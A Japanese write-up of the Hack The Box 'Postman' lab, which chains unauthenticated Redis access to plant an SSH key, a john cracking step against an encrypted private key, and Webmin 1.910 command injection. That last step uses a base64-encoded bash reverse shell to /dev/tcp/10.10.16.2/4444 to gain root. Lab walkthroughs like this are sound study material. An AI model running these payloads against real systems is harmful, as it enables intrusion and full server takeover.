概要
- 最近読んだ ハッキングAPI―Web APIを攻撃から守るためのテスト技法 という書籍でAPIハッキング要素があるマシーンとして挙げられていた、Hack The BoxのPostmanに挑戦しました
- 公式Writeupをベースに進めながら、自身で調査をした情報も共にまとめました
ポートスキャン
nmapスキャン
nmap -p- -T4 --min-rate=1000 -sC -sV 10.10.10.160
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 11:13 JST
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.36s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin httpd)
ターゲットのIPをhostsに登録
echo "10.10.10.160 postman.htb" | sudo tee -a /etc/hosts
Redisの脆弱性を利用してターゲットにログイン
port 6379 でredis 4.0.9が稼働しています
redisはデータをメモリ上に保存するインメモリのデータストアです
redis-cliを使ってポートにアクセスを試します
→ 応答がありました
redis-cli -h postman.htb -p 6379 PING
PONG
Redis 4.0~5.0には未認証のコマンド実行やファイル書き換えの脆弱性があるようで、redis-cliを使って認証無しでアクセスできました
redis-cli -h postman.htb
postman.htb:6379>
redis.confを利用してsshキーを書き換え
config get *
でconfigの内容を閲覧できることを確認
postman.htb:6379> config get *
1) "dbfilename"
2) "authorized_keys"
3) "requirepass"
4) ""
5) "masterauth"
6) ""
7) "cluster-announce-ip"
8) ""
9) "unixsocket"
こちらの記事を参考にさせていただきredis.conf
の内容を理解します
項目 | 設定値 | 内容 |
---|---|---|
dir | /var/run/redis | dbfilenameのファイルや、redisが使う一時ファイルなどを保存する領域 ファイル名でなくディレクトリ名 |
dbfilename | ${REDISPORT}.rdb | RDBのファイル名 |
RDBファイルとはRedisのある時点のデータをストレージに保存したスナップショット
そこでdir
とdbfilename
の設定を悪用し、スナップショットの保存先を/var/lib/redis/.ssh/authorised_keys
に書き換えることで、作成したssh公開鍵をターゲットサーバーに登録しsshログインを試みます。
- データを確認
postman.htb:6379> keys *
(empty array)
- dirの値を確認
postman.htb:6379> config get dir
1) "dir"
2) "/var/lib/redis"
-
/var/lib/redis/.ssh/authorised_keys
に書き換える
postman.htb:6379> config set dir /var/lib/redis/.ssh
OK
postman.htb:6379> config get dir
1) "dir"
2) "/var/lib/redis/.ssh"
- rsaキーペアを作成
cd ~/.ssh
ssh-keygen -t rsa
- キーの内容を
key.txt
に保存
前後に他の文字列等があっても、キーとして認識されるように前後に改行を入れています
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo "\n\n") > key.txt
-
key.txt
の内容をssh_key
というキー名でredisに保存
cat key.txt | redis-cli -h postman.htb -x set ssh_key
OK
-
dbfilename
(rdbファイルの保存名)をauthorized.keys
に変更
redis-cli -h postman.htb
postman.htb:6379> config set dbfilename authorized_keys
OK
- データを保存
# 内容確認
postman.htb:6379> get ssh_key
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdVDmKjAaPZF/ym8ozKkimqYRod/oUUYYTw8bdkegZ/L8fbAc1uBo96dK5UE+IE5+ZdZLLehFkawD6Zlok24xzhnR1fBmO5KZzb3SAotXulHOCPQ0tr/0MMurAMKiIa5EBVDXDQ9P4Clo4hDc/y8t7EqsTX3gOQSKKZeq165TfbxEEnbbIeZv5AS3jODFyhZeOoLAk9gASrehs61aOQPeZci/2J+ryA3H9WKKv3duE9BrfE6kVQ3/HbzT8cZbvIYAAf5idR3HBUKr+1r0jBTgpqst7u8eAMU2sx9PI3BDd1OA7rFeHfCf4xLgChvKl10iekDUp/cYVSN7flEhQY1VJNyB5Fo7gYSfACKDeAGvTNLNvZekDIKbbKfAiNjG5gKQS7OshGLHTOm5omPyiHHma/Rp1/she6GwJX9HmNf9LKDCIegWmyzTtaE61C4zhWt9vQJuaWZXdm8IMsFfly4hhuHnIGObTlbgKNciIyX1rpwKbnH0Z5T3OaT+88SX8FAM= utah@LAPTOP-S869B18N\n\n\n\n"
# 保存
postman.htb:6379> save
OK
authorized.keys
の内容が上書きされたので秘密鍵を使ってsshアクセスできました
ssh -i ~/.ssh/id_rsa redis@postman.htb
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
<SNIP>
redis@Postman:~$
ラテラルムーブメント
ターゲット内を探索
/etc/passwd
の確認
Matt
ユーザを発見
redis@Postman:/opt$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
Matt:x:1000:1000:,,,:/home/Matt:/bin/bas
ホームディレクトリにuser.txt
を発見しましたが、権限が無く読み取れませんでした
redis@Postman:~$ ls /home/Matt
user.txt
redis@Postman:~$ cd /home/Matt
redis@Postman:/home/Matt$ cat user.txt
cat: user.txt: Permission denied
/opt
の下にid_rsa.bak
を発見
ls -al /opt
total 12
drwxr-xr-x 2 root root 4096 Sep 11 2019 .
drwxr-xr-x 22 root root 4096 Sep 30 2020 ..
-rwxr-xr-x 1 Matt Matt 1743 Aug 26 2019 id_rsa.bak
ファイルの内容は暗号化されているようです
redis@Postman:/opt$ cat id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
<SNIP>
パスワードの解析
ローカルにファイルを移動しjohn
を使って解析をこころみます
ssh2john
でjohn
に対応した形式に変換した後解析し、パスワードが判明
# SSH鍵のハッシュを抽出
ssh2john id_rsa > id_rsa_john
# johnで辞書攻撃
john id_rsa_john --wordlist=/usr/share/wordlists/rockyou.txt
# 結果を表示
john --show id_rsa_john
パスワードを使ってssh
でアクセスすると拒否されますが、ターゲットサーバー内のredis
ユーザーでsu
をつかってshellを起動できました
redis@Postman:/opt$ su Matt
ルート権限昇格
root権限で稼働しているプロセスの確認
結果よりwebmin
がroot
権限で稼働している
ps auxww | grep root
<SNIP>
root 725 0.0 3.1 95292 29380 ? Ss Sep22 0:00 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
<SNIP>
webminとは
wikipediaより
Webmin(うぇぶみん)は、LinuxなどのUnix系オペレーティングシステム (OS) を設定できるウェブブラウザベースのツールである。 ユーザーやディスク使用上限、サービス、設定ファイル等といったOS内部設定の変更を多数行
え、ApacheやPHP、MySQLなどといった多くのオープンソースのアプリケーションの変更や制御を行える。
ブラウザを使って調査
nmap
の結果よりwebmin
はTCPポート10000で稼働しているのが分かっています
ブラウザでhttps://postman.htb:10000/
にアクセスしてみるとwebmin
のログイン画面が表示されました
Exploitの調査
searchsploit
でWebmin 1.910
脆弱性を調査
searchsploit webmin
<SNIP>
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit) | linux/remote/46984.rb
<SNIP>
Exploit-46984が見つかりました
上記の内容によると、パッケージアップデートを開始するためのエンドポイント/package-updates/update.cgi
にRCEの脆弱性があり、パラメータに含まれたOSコマンドが実行されてしまうようです
攻撃手順の検討
- 権限を持つユーザでログインして
sid
を含むcookie
を取得 - パッケージアップデートを開始するためのエンドポイント
/package-updates/update.cgi
にPOSTする。その際にパラメータにリバースシェルの実行コードを埋め込む - ターゲットがアップデートを開始し、パラメータに含まれたコードが実行されリバースシェルが確立される
攻撃実行
ペイロード作成
パラメータとして埋め込むリバースシェル実行用のコードを作成しBase64エンコードします
エンコード後の文字列自体に+
が入るとURLエンコードのスペースと認識されて正しく復号されない為、もしそうなったらコードに空白を入れて調整します
echo -n "bash -i >& /dev/tcp/10.10.16.2/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0NDQgMD4mMQ==
echo -n "bash -i >& /dev/tcp/10.10.16.2/4444 0>&1" | base64
YmFzaCAgIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjIvNDQ0NCAwPiYx
最終的なペイロード
$(echo+YmFzaCAgIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjIvNDQ0NCAwPiYx|base64+-d|bash+-i)
リバースシェル取得手順
-
Matt
でwebmin
にログイン -
Dashbord画面左の
System
>Software Package Updates
をクリック -
burpsuite
をONにしてから、Update Selected Packages
ボタンクリックしてリクエストを取得する -
nc
で待ち受ける -
burpsuite
の画面でリクエストをSend
してrootユーザのリバースシェル取得成功
nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.160] 50678
bash: cannot set terminal process group (725): Inappropriate ioctl for device
bash: no job control in this shell
root@Postman:/usr/share/webmin/package-updates/# id
id
uid=0(root) gid=0(root) groups=0(root)
まとめ
-
redis
の脆弱性を利用してターゲットサーバーのauthorised_keys
を書き換えてssh
でログイン - サーバの
ssh
秘密鍵を取得してパスワードを取得 -
webmin 1.910
のRCE脆弱性を利用してroot権限のリバースシェル取得
以上で攻略できました